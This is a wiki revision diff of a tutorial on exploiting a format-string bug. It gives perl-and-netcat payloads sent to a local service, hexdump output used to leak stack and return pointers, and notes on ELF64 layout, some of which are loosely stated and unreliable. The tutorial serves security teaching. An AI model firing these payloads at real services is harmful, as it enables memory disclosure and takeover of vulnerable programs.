Questions about this topic? Sign up to ask in the talk tab.

Difference between revisions of "User:Hatter/format strings"

From NetSec
Jump to: navigation, search
Line 36: Line 36:
  
 
* Trim and pack the pointer:
 
* Trim and pack the pointer:
# Isolate the bytes
+
<ol>
                                               20 20 81 fc c1  |).  (nil).  ...|
+
<li>Isolate the bytes:</li>
         00000050  d1 ff 7f 0a 0a
+
                                               20 20 '''81 fc c1''' |).  (nil).  ...|
 +
         00000050  '''d1 ff 7f''' 0a 0a
  
# The most recent return pointer (inside the binary's stack) is  0x7fffd1c1fc81
+
</li>
 +
<li>The most recent return pointer (inside the binary's stack) is  0x7fffd1c1fc81</li>
  
# \x81\xfc\xc1\xd1\xff\x7f
+
<li>\x81\xfc\xc1\xd1\xff\x7f</li>
 +
</ol>
  
  

Revision as of 18:08, 4 December 2012

Once a vulnerability has been identified, determine the return pointer like so:

 root /var/log # perl -e 'print "AAAA\n" . "%08p\n"x7;'|nc localhost 790           
 AAAA
 0x7fffd1c1f430
 0x7f567d0ed140
 0xffffffff
  (nil)
  (nil)
  (nil)
 0x7fffd1c1f938

In this case, there were no additional arguments passed to sprintf(), so we can deduce that 0x7fffd1c1f430 is the current stack pointer. Obviously if this is the second argument and there is no third argument, this indicates that the ret pointer is located at 0x7fffd1c1f438. So:

  1. Reverse and chop the address for binary : \x38\xf4\xc1\xd1\xff\x7f
  2. Arbitrarily set arguments using some pointer manipulation:
 root /var/log # perl -e 'print "\x38\xf4\xc1\xd1\xff\x7f\n" . "%08p\n"x6 . "%8s\n\nPADDINGPADDINGPADDING\n";'|nc localhost 790|hexdump -C
 00000000  38 f4 c1 d1 ff 7f 0a 30  78 37 66 66 66 64 31 63  |8......0x7fffd1c|
 00000010  31 66 34 33 30 0a 30 78  37 66 35 36 37 64 30 65  |1f430.0x7f567d0e|
 00000020  64 31 34 30 0a 30 78 66  66 66 66 66 66 66 66 0a  |d140.0xffffffff.|
 00000030  20 20 20 28 6e 69 6c 29  0a 20 20 20 28 6e 69 6c  |   (nil).   (nil|
 00000040  29 0a 20 20 20 28 6e 69  6c 29 0a 20 20 81 fc c1  |).   (nil).  ...|
 00000050  d1 ff 7f 0a 0a 50 41 44  44 49 4e 47 50 41 44 44  |.....PADDINGPADD|


  • Extract the return pointer - we know padding comes immediately after it, which

puts our return pointer on the following two lines:

 00000040  29 0a 20 20 20 28 6e 69  6c 29 0a 20 20 81 fc c1  |).   (nil).  ...|
 00000050  d1 ff 7f 0a 0a 50 41 44  44 49 4e 47 50 41 44 44  |.....PADDINGPADD|
  • Trim and pack the pointer:
  1. Isolate the bytes:
  2.                                              20 20 81 fc c1  |).   (nil).  ...|
           00000050  d1 ff 7f 0a 0a
    
  3. The most recent return pointer (inside the binary's stack) is 0x7fffd1c1fc81
  4. \x81\xfc\xc1\xd1\xff\x7f




Now that we know the return pointer, there are a few things that can be quickly inferred due to our knowledge of the ELF64 binary file format. In review:

  • The base pointer always ends in two zero's, at offset 0x1 from the base pointer is the string ELF.
  • The program header size is stored in the ELF header.
  • At offset 0x130 + base is always the first program header pointing to the dynamic section.
  • The first byte of the program header for an export table is 0x05
  • It is highly probable that libc's SSP etc are active, and so our "return pointer" probably points somewhere inside of libc